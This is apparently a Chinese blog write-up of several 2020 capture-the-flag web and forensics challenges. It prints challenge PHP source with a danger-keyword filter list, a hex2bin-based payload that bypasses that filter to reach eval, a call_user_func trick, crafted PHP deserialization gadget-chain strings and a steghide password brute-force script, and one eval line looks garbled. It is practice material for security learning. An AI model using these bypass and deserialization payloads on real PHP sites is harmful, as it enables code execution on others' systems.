2020强网杯和国赛WP

简单记录一下高校信息安全竞赛和强网杯的几道题

全国大学生信息安全竞赛

Easyphp

首先分析了一下源码

<?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();					//pcntl_fork — 在当前进程当前位置产生分支(子进程)。译注:fork是创建了一个子进程,父进程和子进程 都从fork的位置开始向下继续执行,不同的是父进程执行过程中,得到的fork返回值为子进程 号,而子进程得到的是0。
    if ($pid == -1) {	
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);				//等待或返回fork的子进程状态
        if(!pcntl_wifexited($status)){		//检查子进程状态代码是否代表正常退出。
            phpinfo();						//flag
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);	//回调函数 a是回调函数名 b是第一个参数 需要有三个参数
        }
        posix_kill(posix_getpid(), SIGUSR1);	//Return the process identifier of the current process. Send the signal SIGUSR1 to the process with the process identifier pid. SIGUSR1 用户自定义信号 默认处理:进程终止
    }

大意就是需要正常产生进程才可正确执行到phpinfo()。
然后根据环境的提示发现了Apache中不能使用pcntl_fork来产生进程。
搜索发现stackoverflow上有大佬提出解决方案是在父级中使用pcntl_wait,并为子级rpocesses执行写操作。
这里回调函数使用了三个参数 而且还a还过滤了pcntl
所以回调call_user_func减少参数。在b变量传入pcntl_wait.
payload:?a=call_user_func&b=pcntl_wait 在phpinfo中搜索flag{即可拿到flag

Rceme

看到命令执行的地方发现是zzzphp1.6.1的漏洞,但是题目改了过滤的函数

<?php
parserIfLabel($_GET['a']);

function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,执行出错,发现危险字符');
    }
    return $s;
}

function parserIfLabel( $content ) {
    print($content);
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        print("First regex\n");
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);        //调用了danger_key
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');       //调用了splits
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            print("\nifstr:".$ifstr);
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                print("Eval!!!");
                eval('0302181^@[@[_^^ info();');
                eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );  //目标?
                // echo('\nif(' . $a . '){$flag="if";}else{$flag="else";}\n');
                //eval( 'if(' ."phpinfo()". '){$flag="if";}else{$flag="else";}' );
            }
            echo("\n".$flag."\n");
            print_r($matches);
            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        echo("m2".$matches2[1]);
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            echo("\nout:".$out_html);
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                print("wowowoo222::::".$out_html);
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                print("wowowoo333::::".$out_html);
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                print("wowowoo444::::".$out_html);
                $out_html = $this->parserIfLabel( $out_html );
                print("-------------------------".$out_html);
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    else
        print("没过第一个正则");
    return $content;
}

function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

highlight_file(__FILE__);

被过滤吓傻了 一直找不到绕过的方法 这里把payload写下来 记录一下

{if:1)(hex2bin(dechex(112)).hex2bin(dechex(104)).hex2bin(dechex(112)).hex2bin(dechex(105)).hex2bin(dechex(110)).hex2bin(dechex(102)).hex2bin(dechex(111)))();die();//}{end%20if}

Babyunserialize

扫目录 有www.zip
分析了好久 还是自己太菜了 对于这种很复杂的cms 完全找不到入手点
看WP说是wmctf2020中的f3反序列化 直接上exp看phpinfo即可
当然了重点不送找到这个exp 而是学会串联Gadget。

强网杯

强网辅助

这个题刚一打开就是一个传参 要求username和password 扫了半天也没发现什么。。。原来是官方忘放源码了
看源码是一道反序列化
把require的两个文件塞进去之后 分析了一下序列

//play.php
<?php
// require_once "common.php";
// require_once "class.php";

function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

class player{
    public $user;
    public $pass;
    public $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    public $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;                                                            //midsolo
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
		echo("__construct");				//jungle
        $this->name = $name;
    }

    public function __wakeup(){
		echo("__wakeup");
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){				//当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
		echo("__invoke");
        $this->Gank();
    }

    public function Gank(){
		echo("gank");
        if (stristr($this->name, 'Yasuo')){ //jungle
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");							//FLAG
    }

    public function __toString(){
		$this->KS();  									//jungle to string
		print("jungle");
        return "";  
    }

}

// $player = new player($username, $password);
// // $player->admin = 1;
// $jungle = new jungle;
// $midsolo = new midsolo($jungle);
// $topsolo = new topsolo;
// $topsolo->name = $midsolo;
// $player->pass = $topsolo;
// $player->user = "*************";

// // echo("--".$player->user."--");
// echo("??????????????".serialize($player)."????????????????");
// $str = 'O:6:"player":3:{s:16:"%00player%00user";O:7:"topsolo":1:{s:17:"%00topsolo%00name";O:7:"midsolo":1:{s:17:"%00midsolo%00name";O:6:"jungle":1:{s:16:"%00jungle%00name";s:7:"Lee Sin";}}}s:16:"%00player%00pass";N;s:5:"%00player%00admin";i:1;}';
$str = 'O:6:"player":3:{s:7:"%00*%00user";s:39:"*************";s:7:"%00*%00pass";s:165:"12345";s:12:"%00player%00pass";O:7:"topsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:4:"\6e\61\6d\65";S:7:"Lee Sin";}}}";s:8:"*admin";i:0;}';
// $str = 'O:6:"player":3:{s:7:"*user";s:39:"*************";s:7:"*pass";s:158:"12345";s:7:"*pass";O:7:"topsolo":1:{S:7:"*\6e\61\6d\65";O:7:"midsolo":1:{S:7:"*\6e\61\6d\65";O:6:"jungle":1:{S:7:"*\6e\61\6d\65";S:7:"Lee Sin";}}}s:8:"*admin";i:0;}';
unserialize($str);
print_r(unserialize($str));
// @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
// if ($player->get_admin() === 1){
// 	echo "FPX Champion\n";
// }
// else{
// 	echo "The Shy unstoppable\n";
// }
//O:6:"player":3:{s:4:"user";O:7:"topsolo":1:{s:4:"name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}s:7:"*pass";N;s:5:"admin";i:1;}
?>

结果用的时候发现并没有我想象中那么简单 还涉及到两个问题 一个是反序列化字符逃逸 另一个是NAME的绕过 字符逃逸就是通过%00*%00 使实际长度缩短 但是序列中的长度不变,就可以吃掉后面一部分序列 再通过第二个参数拼接

upload

打开是一个PCAP 直接导出HTTP发现两个页面
一个是上传页面 一个是传输文件完成的
上传页面提示是steghide 随手用crunch生成6位纯数字密码 吃了个午饭就跑出来了

#bruteStegHide.sh 
#!/bin/bash

for line in `cat $2`;do
    steghide extract -sf $1 -p $line > /dev/null 2>&1
    if [[ $? -eq 0 ]];then
        echo 'password is: '$line
        exit
    fi  
done 

密码居然是123456 。。。


© 2021. All rights reserved.

本站总访问量 Web Analytics

Powered by Hydejack v9.1.2 & Moded by ZYA